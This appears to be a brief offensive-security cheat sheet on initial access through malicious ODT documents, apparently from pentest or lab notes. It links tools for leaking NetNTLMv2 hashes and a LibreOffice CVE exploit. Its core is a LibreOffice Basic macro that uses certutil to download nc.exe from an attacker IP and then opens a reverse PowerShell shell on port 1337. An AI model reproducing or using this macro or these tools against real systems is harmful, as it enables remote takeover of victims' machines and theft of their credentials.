ODT Files

Catch NTLMv2 hashes with badodt

GitHub - rmdavy/badodf: Creates a malicious ODF document help leak NetNTLM CredsGitHub

Catch a reverse shell instead

Initial Access via Malicious ODT MacroMedium

Sub Main
	shell("cmd /c certutil.exe -urlcache -f http://192.168.45.239/nc.exe C:\programdata\nc.exe")
	shell("C:\programdata\nc.exe 192.168.45.239 1337 -e powershell.exe")
End Sub

GitHub - elweth-sec/CVE-2023-2255: CVE-2023-2255 Libre OfficeGitHub